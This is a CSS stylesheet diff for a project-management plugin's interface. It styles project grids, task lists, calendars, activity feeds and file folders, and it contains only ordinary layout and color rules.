.footer-section .pm-comments-count { + background: url('../images/discussion.svg') no-repeat center center; + padding: 15px; + background-size: 20px; +} +.pm-folders-list li .footer-section .pm-comments-count span { + padding: 0px 6px; + margin-top: -12px; + border-radius: 10px; + position: absolute; + margin-left: 5px; +} +.pm-folders-list .folder img { + /*padding: 35px 25px 33px;*/ +} +.pm-folders-list .file .image-content img { + border: #fdfdfd solid 1px; +} +.pm-folders-list .file .doc-content { + padding: 20px 20px 0px; + text-align: center; + font-weight: normal; + height: 205px; + background: #FAFEF0; + text-align: left; + cursor: pointer ; + overflow: hidden; +} +.pm-folders-list .file .doc-content .item-title { + font-weight: bold; +} +.pm-folders-list .file .online-docx-image-content { + position: absolute; + width: 18% ; + height: 200px; + background-repeat: no-repeat; + background-position: 50% 30% ; + -ms-background-size: cover; + -o-background-size: cover; + -moz-background-size: cover; + -webkit-background-size: cover; + background-size: 150px; +} +.pm-folders-list .file .footer-section { + text-align: center; +} +.pm-folders-list:last-child { + margin-right: 0px; +} + +.pm-user-task .pm-list-header h3 { + color: #0074A2; +} +.pm-user-task .pm-todo-content a { + color: #333333; + text-decoration: none; + font-family: "helvetica neue", helvetica, arial, sans-serif; + font-size: 14px; +} +.pm-user-task .pm-todo-content a:hover { + color: #21759b; + text-decoration: underline; +} +.pm-user-task .pm-comment-count { + background: none repeat scroll 0 0 #E2E9F8; + border-radius: 3px; + font-size: 12px; + line-height: 12px; + margin-right: 5px; + padding: 1px 7px; +} +.pm-user-task .pm-assign-by { + background: none repeat scroll 0 0 #DDDDDD; + border-radius: 3px; + color: #999999; + font-size: 12px; + line-height: 12px; + margin-right: 5px; + padding: 1px 7px; +} +.pm-user-task .pm-completed-by { + color: #999999; +} +.pm-user-task .pm-completed-by a { + text-decoration: none; +} +.pm-user-task .pm-user-todo-completed .pm-todo-text { + color: #999999; + font-size: 11px; + line-height: 14px; +} +#pm-create-user-wrap { + height: auto !important; + display: none; +} +#pm-create-user-wrap .pm-error { + color: red; + margin-bottom: 10px; + font-size: 12px; +} +#pm-create-user-wrap .button-primary, +#pm-create-user-wrap h3, +#pm-create-user-wrap .pm-error { + margin-left: 27%; +} +#pm-create-user-wrap .pm-user-create-form .pm-field-wrap label { + float: left; + width: 27%; + font-size: 12px; +} +#pm-create-user-wrap .pm-user-create-form .pm-field-wrap label:after { + clear: both; +} +#pm-create-user-wrap .pm-user-create-form .pm-field-wrap input { + width: 69%; + margin-bottom: 10px; +} +#pm-create-user-wrap .pm-user-create-form .pm-spinner { + background: url("../images/loading.gif") no-repeat scroll; + display: inline-block; + height: 17px; + margin-left: 10px; + vertical-align: middle; + width: 17px; +} +.pm-mytask-wrap span.move { + display: none !important; +} +.pm-mytask-wrap .pm-todo-action { + display: none; +} +.pm-mytask-wrap .pm-task-complete { + left: 0 !important; +} +.pm-mytask-wrap .pm-my-task { + font-weight: bold; +} +.pm-mytask-wrap .pm-list-header { + margin-bottom: 15px; +} +.pm-mytask-wrap .pm-list-header a { + text-decoration: none; +} +.pm-mytask-wrap .pm-todolists li { + padding: 0; + margin: 0 0 10px 0; + list-style: none; +} +.pm-mytask-wrap .pm-todolists article { + border-bottom: 0; + margin-bottom: 0; + padding-bottom: 0; +} +.pm-mytask-wrap .pm-todolists article ul { + margin: 0 15px !important; +} +.pm-calendar { + position: relative; +} +.pm-calendar a.pm-expire-task { + background-color: #EB5A46 !important; +} +.pm-calendar a.pm-task-running { + background-color: #61BD4F !important; +} +.pm-calendar a.pm-complete-task { + text-decoration: line-through; + background-color: #0090D9!important; + text-decoration: line-through !important; +} +.pm-calendar span.fc-event-title { + color: #fff; +} +.pm-calendar .pm-calender-loading.active { + background: url("images/calendar-loading.gif") no-repeat scroll 50% 30% rgba(255, 255, 255, 0.8); + display: inline-block; + height: 100%; + left: 0; + top: 0; + margin: 0; + position: absolute; + vertical-align: middle; + width: 100%; + z-index: 999999; +} +#pm-progress-wrap ul.pm-activity ul li::before { + content: ''; + left: -5px; + position: relative; +} +#pm-progress-wrap .pm-progress-label { + display: inline; + padding: .2em .6em .3em; + font-size: 75%; + font-weight: normal; + line-height: 1; + color: #737373; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: .25em; + background: #fff; + letter-spacing: 1px; + border: 1px solid #E2E2E2; + margin-right: 2px; +} +#pm-progress-wrap ul.pm-activity ul { + border-left: 2px solid #ccc; + margin-bottom: 0; + margin-left: 35px; + margin-top: 0; +} +#pm-progress-wrap ul.pm-activity ul li { + padding-left: 15px; + text-indent: 5px; + line-height: 240%; +} +#pm-progress-wrap .pm-progress-wrap { + margin: 0; +} +#pm-progress-wrap .pm-progress-wrap ul li { + margin: 0; +} +#pm-progress-wrap .pm-activity-heads { + background: none repeat scroll 0 0 #fff; + border: 2px solid #dadada; + border-radius: 50%; + height: 70px; + width: 70px; + text-align: center; + padding: 0; + margin: 0; +} +#pm-progress-wrap .pm-activity-heads span { + display: inline-block; + padding-top: 15px; +} +.pm-pro-notice { + padding: 25px; +} +.pm-pro-notice .pm-text { + margin-bottom: 20px; + font-size: 20px; +} +/****/ +/**SVG background image **/ +.pm-list-comment-wrap .mce-panel { + border-color: #e5e5e5; +} +.pm { + color: #848484; + margin-top: 20px; + /** + * PM default css classes + */ + /** + * Input syte + **/ + /** + * Button Styes + **/ + /** + * Responsive Grid Column + * + **/ + /** + * Home Project Grid + * + **/ + /** + * Project Header part + */ + /** + * Project Overview Page + */ + /** + * Activity Page + */ + /** Discussion Page **/ + /** CSS for Milestone Page **/ + /** End MileStone Page **/ + /*** Files ***/ + /** For Modal **/ + /***Half page Modal ***/ + /* + * for v-modla transection + */ + /*for lazy loding align-content: */ + /* Every thing below this is just positioning */ + /**End Loading **/ + /*Animation for vue */ + /** End Files **/ + /*****/ + /** +* Media Query for responsive +* +**/ + /* Smartphones (portrait and landscape) ----------- */ +} +.pm .mce-tinymce { + border: 1px solid #e5e5e5; + margin-bottom: 10px; +} +.pm * { + box-sizing: border-box; +} +.pm a { + outline: 0; + text-decoration: none; +} +.pm a:active, +.pm a:hover, +.pm a:focus { + text-decoration: none ; + outline: 0; + -moz-outline-style: none; +} +.pm input { + padding: 5px; +} +.pm .small-text { + font-size: small; +} +.pm .pm-no-margin { + margin: 0px; +} +.pm .pm-no-padding { + padding: 0px; +} +.pm .pm-no-padding-bottom { + padding-bottom: 0px; +} +.pm .pm-no-margin-bottom { + margin-bottom: 0px; +} +.pm .pm-margin-bottom { + margin-bottom: 25px; +} +.pm .cercale-corners { + -webkit-border-radius: 180px; + -moz-border-radius: 180px; + border-radius: 180px; +} +.pm .pm-text-left { + text-align: left; +} +.pm .pm-text-center { + text-align: center; +} +.pm .pm-text-right { + text-align: right; +} +.pm .pm-btn { + padding: 6px 10px; + margin: 0; + border-radius: 3px; + display: inline-block; +} +.pm .pm-btn-xs { + padding: 3px; + font-size: small ; +} +.pm .pm-btn-gray { + padding: 6px 10px; + margin: 0; + border-radius: 3px; + display: inline-block; + background: #eee; +} +.pm .pm-btn-red { + background: RED; + color: #ffffff ; +} +.pm .pm-btn-white { + padding: 6px 10px; + margin: 0; + border-radius: 3px; + display: inline-block; + background: #ffffff; +} +.pm .pm-btn-white a:hover { + background: red; +} +.pm .pm-btn-submit { + border: 0px; + padding: 5px; + font-weight: bold; +} +.pm .pm-btn-blue { + background: #019dd6; + color: #ffffff; +} +.pm .pm-btn-blue a:hover { + color: red; +} +.pm .pm-plus-white { + //background: #019dd6 url('../images/plus_white.svg') no-repeat 10% 50%; + background: #019dd6; + background-size: 25px; + //padding: 10px 10px 10px 50px; + color: #ffffff; +} +.pm .pm-container { + width: 100%; + margin: 10px; +} +.pm .pm-row { + padding-left: 10px; + padding-right: 10px; + padding-bottom: 10px; + width: 100%; +} +.pm .pm-col-1 { + width: 7.788285225%; + float: left; + margin-right: 10px; + margin-bottom: 10px; +} +.pm .pm-col-2 { + width: 14.788285225%; + float: left; + margin-right: 5px; + margin-bottom: 5px; +} +.pm .pm-col-3 { + width: 23.788285225%; + float: left; + margin-right: 10px; + margin-bottom: 10px; +} +.pm .pm-col-4 { + width: 32.333333333%; + float: left; + margin-right: 10px; + +} +.pm .pm-col-5 { + width: 38.788285225%; + float: left; + margin-right: 10px; + margin-bottom: 10px; +} +.pm .pm-col-6 { + width: 48.788285225%; + float: left; + margin-right: 10px; + margin-bottom: 10px; +} +.pm .pm-col-7 { + width: 56.788285225%; + float: left; + margin-right: 10px; + +} +.pm .pm-col-8 { + width: 64.666666667%; + float: left; + margin-right: 10px; + margin-bottom: 10px; +} +.pm .pm-col-9 { + width: 73.788285225%; + float: left; + margin-right: 10px; + margin-bottom: 10px; +} +.pm .pm-col-10 { + width: 81.788285225%; + float: left; + margin-right: 10px; + margin-bottom: 10px; +} +.pm .pm-col-11 { + width: 89.788285225%; + float: left; + margin-right: 10px; + margin-bottom: 10px; +} +.pm .pm-col-12 { + width: 100%; +} +.pm .pm-last-col { + float: right; + margin-right: 0px; + padding-right: 0px; + color: #000; + margin-bottom: 10px; +} +.pm .show_desktop_only { + display: block; +} +.pm .show_small_only { + display: none; +} +.pm .hide_desktop_only { + display: none; +} +.pm .hide_small_only { + display: bloc; +} +.pm .notify-users .pm-small-title { + margin-left: 10px; +} +.pm .notify-users .pm-user-list { + display: block; + padding: 15px; + margin: 0px; +} +.pm .notify-users .pm-user-list .pm-project-user-list { + padding: 8px; +} +.pm .notify-users .pm-user-list .pm-project-user-list li { + float: left ; + width: 50% ; + padding: 5px; + display: inline; +} +.pm .notify-users .pm-user-list .pm-project-user-list li label { + padding: 0px; + margin: 0px; + width: 100%; +} +.pm .pm-top-bar { + background: #ffffff; + margin-bottom: 20px; + padding-bottom: 0px; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; +} +.pm .pm-top-bar .pm-priject-search-bar { + border-bottom: solid 1px #eee; + margin-bottom: 0px; + padding-bottom: 0px; +} +.pm .pm-top-bar .pm-priject-search-bar .pm-col-9 { + padding: 0px; + margin: 0px; +} +.pm .pm-top-bar .pm-top-right-btn { + margin-top: 12px; + padding-left: 10px; +} +.pm .pm-top-bar .pm-top-right-btn input { + /* _m1992 + 10777 + 585*/ + margin-right: 20px; +} +.pm .pm-top-bar .pm-top-right-btn .pm-btn-blue { + -webkit-border-radius: 180px; + -moz-border-radius: 180px; + border-radius: 180px; + padding: 6px 2px 3px 2px; +} +.pm .pm-top-bar .pm-top-right-btn .pm-btn-blue .dashicons { + vertical-align: bottom; + font-size: 13px; +} +.pm .pm-top-bar .pm-top-right-btn .pm-btn-blue .dashicons a { + color: #ffffff; +} +.pm .pm-top-bar .pm-top-right-btn .pm-btn-white { + padding: 6px 10px; + margin: 0; + border-radius: 3px; + display: inline-block; + background: #ffffff; + -webkit-border-radius: 30px; + -moz-border-radius: 30px; + border-radius: 30px; + border: 1px solid #eee; +} +.pm .pm-top-bar .pm-top-right-btn .pm-btn-white a:hover { + background: red; +} +.pm .pm-top-bar .pm-top-right-btn .pm-btn-white a { + color: #eee; +} +.pm .pm-top-bar .pm-top-right-btn a { + font-size: 13px; + margin-right: 5px; +} +.pm .pm-top-bar .pm-top-right-btn a :hover { + color: #000000; +} +.pm .pm-top-bar .pm-btn-submit { + padding: 5px 25px; +} +.pm .pm-top-bar .pm-project-search input { + float: left; + width: 47%; + margin-left: 3%; +} +.pm .pm-top-bar .pm-project-group { + padding: 0px; + margin: 0px; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-view { + margin-bottom: 0; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul { + margin: 0; + padding: 0; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li { + float: left; + margin: 0; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a { + padding: 12px 20px 12px 40px; + min-width: 50px; + display: block; + text-align: left; + text-decoration: none; + border-bottom: solid 2px #ffffff; + color: #aaa; + background-size: 20px; + background-position: 10% 50%; + background-repeat: no-repeat; + font-weight: normal; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a span.count { + padding: 0px 6px; + position: relative; + background: #eee; + margin-top: -15px; + margin-left: 5px; + border-radius: 15px; + top: 0; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a:hover { + border-bottom: solid 2px #019dd6; + color: #000000; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a:hover span { + border-bottom: none; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a:hover span.count { + background: #019dd6; + color: #ffffff ; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul .active a, +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.router-link-exact-active, +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a:hover { + border-bottom: solid 2px #019dd6; + color: #000000; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.router-link-exact-active span.count, +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a:hover span.count { + background: #019dd6; + color: #ffffff ; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-all-project { + background-image: url('../images/all.svg'); + padding-left: 55px; + background-position: 27% 50%; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul .active .pm-all-project, +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-all-project:hover { + background-image: url('../images/all_hover.svg'); +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-active-project { + background-image: url('../images/active_projects.svg'); +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul .active .pm-active-project, +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-active-project:hover { + background-image: url('../images/active_projects_hover.svg'); +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-archive-project { + background-image: url('../images/completed.svg'); +} +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul .active .pm-archive-project, +.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-archive-project:hover { + background-image: url('../images/completed_hover.svg'); +} +.pm .pm-top-bar .pm-project-group .pm-col-5 { + padding: 0px; + margin: 0px; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-view { + margin: 14px 0 0 0; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-view li { + float: right; + margin: 0 15px 0 0; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-view li a { + color: #eee; +} +.pm .pm-top-bar .pm-project-group ul.pm-project-view li a :hover, +.pm .pm-top-bar .pm-project-group ul.pm-project-view li a .active { + color: #000; +} +.pm .pm-project-meta a { + color: #999; +} +.pm .pm-project-grid { + margin: 0px ; + padding: 0px; + margin-right: 0px; + padding-right: 0px; +} +.pm .pm-project-grid .pm-project { + width: 32.333333333%; + margin-right: 10px; + margin-bottom: 10px; + margin: 0 1.5% 1.75% 0 ; + margin-left: 0px; + padding: 0px; + float: left; + height: 300px; +} +.pm .pm-project-grid article.pm-project:nth-child(3n) { + margin: 0 0 1.75% 0; +} +.pm .pm-project-grid .pm-project .project_head { + background: #ffffff ; + padding: 15px; + border-bottom: 1px #eee solid; + min-height: 55px; + color: #000 ; +} +.pm .pm-project-grid .pm-project .project_head:hover { + background: #019dd6; + text-decoration: none; +} +.pm .pm-project-grid .pm-project .project_head:hover h5, +.pm .pm-project-grid .pm-project .project_head:hover .pm-settings-icon-cog span, +.pm .pm-project-grid .pm-project .project_head:hover .pm-project-detail { + color: #ffffff; +} +.pm .pm-project-grid .pm-project .pm-project-meta { + padding: 10px; +} +.pm .pm-project-grid .pm-project .pm-project-meta ul { + padding: 0px; + margin: 0px; + margin-left: 5px; + margin-bottom: 50px; + *zoom: 1; +} +.pm .pm-project-grid .pm-project .pm-project-meta ul:before, +.pm .pm-project-grid .pm-project .pm-project-meta ul:after { + display: table; + content: ""; + line-height: 0; +} +.pm .pm-project-grid .pm-project .pm-project-meta ul:after { + clear: both; +} +.pm .pm-project-grid .pm-project .pm-project-meta ul li { + float: left; + width: 41%; + margin: 0; + list-style: none; + //padding-left: 25px; + font-size: 13px; + color: #888888; + line-height: 35px; + padding-bottom: 15px; +} +.pm .pm-project-grid .pm-project .pm-progress { + position: absolute; + bottom: 75px; + height: 6px; + width: 100%; + margin: 0px 0px 0px 0px; + background-color: red; + background-image: linear-gradient(to bottom, #dae5e8, #dae5e8); + background-repeat: repeat-x; + box-shadow: 0px ; + border-radius: 0px; +} +.pm .pm-project-grid .pm-project .pm-progress .completed { + background-color: #019dd6; + background-image: linear-gradient(to bottom, #019dd6, #019dd6); +} +.pm .pm-project-grid .pm-project .pm-project-people { + text-align: center; +} +.pm .pm-project-grid .pm-project .pm-progress-percentage, +.pm .pm-project-grid .pm-project .pm-project-action-list-view { + display: none; +} +.pm .pm-project-grid .pm-last-col { + margin-right: 0px; + float: right; + margin-left: 0px; +} +.pm li { + background-position: 0% 55% ; + background-repeat: no-repeat; +} +.pm li.message { + //background-image: url('../images/bullet_green.png'); +} +.pm li.todo { + //background-image: url('../images/to-do-list.png'); +} +.pm li.todos { + //background-image: url('../images/to-do-list.png'); +} +.pm li.comments { + //background-image: url('../images/comment.png'); +} +.pm li.files { + //background-image: url('../images/docs.png'); +} +.pm li.milestone { + //background-image: url('../images/milestones.png'); +} +.pm .pm-project-list { + margin: 0px ; + padding: 0px; +} +.pm .pm-project-list .pm-project { + padding: 0px; + width: 100% ; + float: left; + box-shadow: none; + height: auto; +} +.pm .pm-project-list .pm-project:not(:first-child) { + border-top: none; +} +.pm .pm-project-list .pm-project:first-child { + margin-top: 0; +} +.pm .pm-project-list .pm-project .project_head { + background: #ffffff ; + padding: 12px 20px; + min-height: 87px; + color: #000 ; + width: 30%; + float: left; + margin-right: 10px; +} +.pm .pm-project-list .pm-project .project_head:hover { + background: #019dd6; + text-decoration: none; +} +.pm .pm-project-list .pm-project .project_head:hover h5, +.pm .pm-project-list .pm-project .project_head:hover .pm-settings-icon-cog span, +.pm .pm-project-list .pm-project .project_head:hover .pm-project-detail { + color: #ffffff; +} +.pm .pm-project-list .pm-project .pm-project-detail { + font-size: 13px; +} +.pm .pm-project-list .pm-project .pm-project-meta { + padding: 0px; + width: 25%; + float: left; +} +.pm .pm-project-list .pm-project .pm-project-meta ul { + padding: 10px 0 0 0; + margin: 0px; +} +.pm .pm-project-list .pm-project .pm-project-meta ul li { + float: left; + width: 40% ; + list-style: none; + padding-left: 20px; + font-size: 12px; + color: #888888; + line-height: 150%; +} +.pm .pm-project-list .pm-project .pm-progress { + position: relative ; + float: left; + top: 40px; + height: 6px; + width: 12%; + margin: 0; + background-color: red; + background-image: linear-gradient(to bottom, #dae5e8, #dae5e8); + background-repeat: repeat-x; + box-shadow: 0px ; + border-radius: 0px; +} +.pm .pm-project-list .pm-project .pm-progress .completed { + ackground-color: #019dd6; + background-image: linear-gradient(to bottom, #019dd6, #019dd6); +} +.pm .pm-project-list .pm-project .pm-progress-percentage { + position: relative ; + float: left; + top: 32px; + margin-left: 5px; + width: 3%; + color: #aaa; + font-size: 11px; +} +.pm .pm-project-list .pm-project .pm-project-people { + position: relative; + float: left; + width: 20.5%; + text-align: left; + top: 28px; + margin-right: 30px; +} +.pm .pm-project-list .pm-project .pm-project-people img.avatar { + height: 32px; + width: 32px; +} +.pm .pm-frontend .pm-project { + height: auto ; +} +.pm .pm-frontend .pm-project-meta { + padding: 10px; +} +.pm .pm-frontend .pm-project-meta ul { + padding: 0px; + margin: 0px; + margin-left: 5px; + margin-bottom: 50px; +} +.pm .pm-frontend .pm-project-meta ul li { + float: none !important; + width: 100% !important; + list-style: none; + padding-left: 25px; + font-size: 13px; + color: #888888; + line-height: auto !important; +} +.pm .pm-border-bottom { + border-bottom: solid 1px #eee; + padding-bottom: 0px; +} +.pm .pm-project-header { + padding: 0px; +} +.pm .pm-project-header ul { + margin: 0px; + margin-left: 0px; + padding-bottom: 0px; +} +.pm .pm-project-header ul li { + border: none; + float: left; + padding: 0px; + margin: 10px 0 0 0; +} +.pm .pm-project-header ul li a { + padding: 6px 5px 6px 40px; + margin-top: 0px; + display: block; + text-decoration: none; + border-bottom: solid 2px #ffffff; + color: #aaa; + min-height: 42px; + height: 52px; + background-size: 20px 16px; + background-position: 15px 30%; + background-repeat: no-repeat; + box-shadow: none; +} +.pm .pm-project-header ul li a div { + text-align: left; + font-weight: normal; + font-size: 80%; +} +.pm .pm-project-header ul li a span.count { + padding: 0px 6px; + position: relative; + background: #eee; + margin-top: -15px; + margin-left: 5px; + border-radius: 15px; + top: 0; +} +.pm .pm-project-header ul li .overview { + background-image: url('../images/overview.svg'); +} +.pm .pm-project-header ul li .overview:hover, +.pm .pm-project-header ul li a.overview.active { + background-image: url('../images/overview_hover.svg'); +} +.pm .pm-project-header ul li .message { + background-image: url('../images/discussion.svg'); +} +.pm .pm-project-header ul li .message:hover, +.pm .pm-project-header ul li a.message.active { + background-image: url('../images/discussion_hover.svg'); +} +.pm .pm-project-header ul li .activity { + background-image: url('../images/activity.svg'); +} +.pm .pm-project-header ul li .activity:hover, +.pm .pm-project-header ul li a.activity.active { + background-image: url('../images/activity_hover.svg'); +} +.pm .pm-project-header ul li .milestone { + background-image: url('../images/milestone.svg'); +} +.pm .pm-project-header ul li .milestone:hover, +.pm .pm-project-header ul li a.milestone.active { + background-image: url('../images/milestone_hover.svg'); +} +.pm .pm-project-header ul li .to-do-list { + background-image: url('../images/todo.svg'); +} +.pm .pm-project-header ul li .to-do-list:hover, +.pm .pm-project-header ul li a.to-do-list.active { + background-image: url('../images/todo_hover.svg'); +} +.pm .pm-project-header ul li .files { + background-image: url('../images/file.svg'); +} +.pm .pm-project-header ul li .files:hover, +.pm .pm-project-header ul li a.files.active { + background-image: url('../images/file_hover.svg'); +} +.pm .pm-project-header ul li .settings { + background-image: url('../images/settings.svg'); +} +.pm .pm-project-header ul li .settings:hover, +.pm .pm-project-header ul li a.settings.active { + background-image: url('../images/settings_hover.svg'); +} +.pm .pm-project-header ul li a:hover, +.pm .pm-project-header ul li .router-link-exact-active, +.pm .pm-project-header ul li .active { + border-bottom: solid 2px #019dd6; + color: #000000; +} +.pm-settings-nav-menu-wrap .router-link-exact-active { + margin-bottom: -1px; + border-bottom: 1px solid #f1f1f1; + background: #f1f1f1; +} +.pm .pm-project-header ul li a:hover span, +.pm .pm-project-header ul li .active span { + border-bottom: none; +} +.pm .pm-project-header ul li a:hover span.count, +.pm .pm-project-header ul li .active span.count { + background: #019dd6; + color: #ffffff ; +} +.pm .pm-project-header ul li a:hover div, +.pm .pm-project-header ul li .active div { + color: #019dd6; +} +.pm .project-overview .overview-menu ul { + padding: 0px; + margin: 0 -10px !important; + display: flex; + flex-wrap: wrap; +} +.pm .project-overview .overview-menu ul li { + flex-basis: 16.66%; + max-width: 16.66%; + padding: 0 10px 20px; + +} +.pm .project-overview .overview-menu ul li a { + display: flex; + padding: 20px 10px; + border: solid 1px #E5E5E5; + background: #fff; + box-shadow: none; + transition: all 0.3s cubic-bezier(.25,.8,.25,1); +} +.pm .project-overview .overview-menu ul li a:hover, +.pm .project-overview .overview-menu ul li a:focus { + box-shadow: 0 15px 30px 0 rgba(0,0,0,.11), 0 5px 15px 0 rgba(0,0,0,.08); +} +.pm .project-overview .overview-menu ul li a div { + float: left; +} +.pm .project-overview .overview-menu ul li a .icon { + border-radius: 50%; + color: #ffffff; + margin: 0 10px; + height: 45px; + width: 45px; + background-size: 16px; + background-repeat: no-repeat; + background-position: center center; +} +.pm .project-overview .overview-menu ul li .count { + text-align: left; + font-size: 12px; + color: #848484; +} +.pm .project-overview .overview-menu ul li .count span { + color: #019dd6; + font-size: 150%; + font-weight: bold; + display: block; + padding-bottom: 3px; +} +.pm .project-overview .overview-menu ul .message .icon { + background-color: #9DBC5E; + background-image: url('../images/discussion_white.svg'); +} +.pm .project-overview .overview-menu ul .todo .icon { + background-color: #1FA185; + background-image: url('../images/todolist_white.svg'); +} +.pm .project-overview .overview-menu ul .todos .icon { + background-color: #0090DB; + background-image: url('../images/todo_white.svg'); +} +.pm .project-overview .overview-menu ul .comments .icon { + background-color: #1FA185; + background-image: url('../images/comments_white.svg'); +} +.pm .project-overview .overview-menu ul .files .icon { + background-color: #BE3C2F; + background-image: url('../images/files_white.svg'); +} +.pm .project-overview .overview-menu ul .milestone .icon { + background-color: #F29B27; + background-image: url('../images/milestones_white.svg'); +} +.pm .project-overview .pm-chart { + background: #ffffff; + padding: 0; + margin-top: 0; + /*margin-right: 10px;*/ + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; +} +.pm .project-overview .pm-chart h3 { + font-size: 14px; + line-height: 1.4; + //border-bottom: 1px solid #eee; + padding: 8px 12px; + margin: 0; +} +.pm .project-overview .pm-chart .inside { + padding: 15px; +} +.pm .project-overview .pm-chart .pm-chart-legend { + font-size: 12px; + margin-bottom: 10px; +} +.pm .project-overview .pm-chart .pm-chart-legend span::before { + content: ''; + padding: 0px 10px; + margin: 0px 5px 15px; +} +.pm .project-overview .pm-chart .pm-chart-legend .to-do::before { + background: #79C7DE; +} +.pm .project-overview .pm-chart .pm-chart-legend .activity::before { + background: #B972B6; +} +.pm .project-overview .pm-chart canvas { + max-width: 100%; +} +.pm .project-overview .pm-right-part { + background: #ffffff ; + width: 17.1745852858%; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; +} +.pm .project-overview .pm-right-part h3 { + margin: 0px; + padding: 10px; + font-size: 16px; + line-height: 1.4; +} +.pm .project-overview .pm-right-part .user_list { + margin-left: 10px; + margin-right: 10px; +} +.pm .project-overview .pm-right-part .user_list li { + padding: 10px; + clear: left; + border-bottom: 1px solid #eee; +} +.pm .project-overview .pm-right-part .user_list li img { + border-radius: 50px; + float: left; + margin-right: 10px; + margin-top: 5px; +} +.pm .project-overview .pm-right-part .user_list li a { + height: 18px; + overflow: hidden; + display: inline-block; + width: calc(100% - 55px); + text-overflow: ellipsis; + white-space: nowrap; +} +.pm .project-overview .pm-right-part .user_list li span { + display: block; + font-size: small; + color: #bbb; +} +.pm .pm-activity-list { + padding: 0px; + margin: 0px; +} +.pm .pm-activity-list li.pm-row { + display: flex; + vertical-align: middle; + margin: 0 0 15px 0; + padding: 0px; +} +.pm .pm-activity-list li.pm-row .pm-activity-date { + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: #eee solid 1px; + margin-bottom: 0px; + background: #ffffff; + text-align: center; + margin-right: 1.6%; + padding: 30px 0px; +} +.pm .pm-activity-list li.pm-row .pm-activity-date span { + color: #000; + font-size: 150%; + font-weight: bold; +} +.pm .pm-activity-list li.pm-row .pm-activity-body { + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: #eee solid 1px; + margin-bottom: 0px; + margin-right: 0px; + font-size: 13px; + float: right; + word-break: break-word; + hyphens: auto; +} +.pm .pm-activity-list li.pm-row .pm-activity-body .pm-col-8, +.pm .pm-activity-list li.pm-row .pm-activity-body .pm-col-4 { + margin-bottom: 0; +} +.pm .pm-activity-list li.pm-row .pm-activity-body ul { + padding: 0px; + margin: 0px; +} +.pm .pm-activity-list li.pm-row .pm-activity-body ul li { + padding: 0px; + margin: 0px; + background: #ffffff; + padding: 8px 15px; +} +.pm .pm-activity-list li.pm-row .pm-activity-body ul li .date { + background: url('../images/time.svg') no-repeat 0 50%; + background-size: 20px; + padding: 3px 2px 2px 30px; +} +.pm .pm-activity-list li.pm-row .pm-activity-body ul li:nth-child(even) { + background: #F8F9FB; +} +.pm .pm-todolists { + padding: 0px; + margin-top: 0px; +} +.pm .pm-todolists .pm-todolist { + margin: 0px; + padding: 0px; + margin-top: 30px; +} +.pm .pm-todolists .pm-todolist header { + padding: 10px 10px 3px 10px; + background: #f9fafa; + border-bottom: 1px solid #e5e5e5; +} +.pm .pm-todolists .pm-todolist header .pm-right { + text-align: right; +} +.pm .pm-todolists .pm-todolist header .pm-right a { + float: none; + padding: 0px; + color: #ccc; + visibility: hidden; +} +.pm .pm-todolists .pm-todolist header .pm-right a:hover { + color: #444; +} +.pm .pm-todolists .pm-todolist header .pm-right a.move { + cursor: move; +} +.pm .pm-todolists .pm-todolist:hover header .pm-right a { + visibility: visible; +} +.pm .pm-todolists .pm-todolist .pm-todos { + padding: 0px; + margin: 0px; +} +.pm .pm-todolists .pm-todolist .pm-todos li { + border-bottom: solid 1px #eee; + padding: 10px 8px 10px 15px; + background: #ffffff; + margin: 0; +} +.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-content .pm-comment-count { + background: url('../images/comment_gray.svg') no-repeat 0% 50%; + background-size: 20px; + padding: 10px; + padding-left: 25px; + font-weight: bold; + width: 50px; +} +.pm .pm-todolists .pm-todolist .pm-todos li .completed_by .pm-assigned-user, +.pm .pm-todolists .pm-todolist .pm-todos li .completed_by time { + background: none; +} +.pm .pm-todolists .pm-todolist .pm-todos li .completed_by .avatar { + border-radius: 50px; + vertical-align: middle; + margin-right: 8px; +} +.pm .pm-todolists .pm-todolist .pm-todos li .pmtt-icon-clock { + background: none url('../images/time.svg') no-repeat 0% 50%; + background-size: 20px; +} +.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-action-right { + float: right; + text-align: right; + visibility: hidden; + padding-right: 0px; + margin-right: 0px; +} +.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-action-right a { + padding: 0; + margin: 0px; + text-decoration: none; + color: #ccc; +} +.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-action-right a:hover { + color: #444; + text-decoration: none; +} +.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-action-right a.move { + cursor: move; +} +.pm .pm-todolists .pm-todolist .pm-todos :hover .pm-todo-action-right { + visibility: visible ; +} 